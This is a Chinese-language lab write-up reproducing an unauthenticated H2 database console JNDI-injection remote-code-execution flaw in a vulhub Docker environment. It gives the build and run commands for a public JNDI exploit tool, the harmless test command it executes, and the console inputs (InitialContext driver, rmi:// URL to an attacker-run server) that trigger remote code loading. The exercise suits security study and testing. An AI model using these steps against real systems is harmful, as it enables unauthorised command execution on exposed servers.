漏洞概述:
H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。
环境搭建
使用vulhub来安装环境
进入h2database//h2-console-unacc目录
docker-compose
build
docker-compose up -d
访问http://your-ip:8080/h2-console即可查看到H2 database的管理页面。
漏洞复现
Poc地址:
https://github.com/welk1n/JNDI-Injection-Exploit/#examples
使用git拉取,并用maven编译——安装maven教程:https://www.cnblogs.com/datangguott/p/14211357.html
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git cd JNDI-Injection-Exploit mvn clean package -DskipTests
编译好后,进入target目录,运行jar
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 127.0.0.1
Driver Class:填javax.naming.InitialContext
JDBC URL填rmi://127.0.0.1:1099/cziwap
然后连接
这里测试了一下,没成功,我又把127.0.0.1改成了自己的主机IP:
命令已经执行——即POC中的
修复建议
升级到安全版本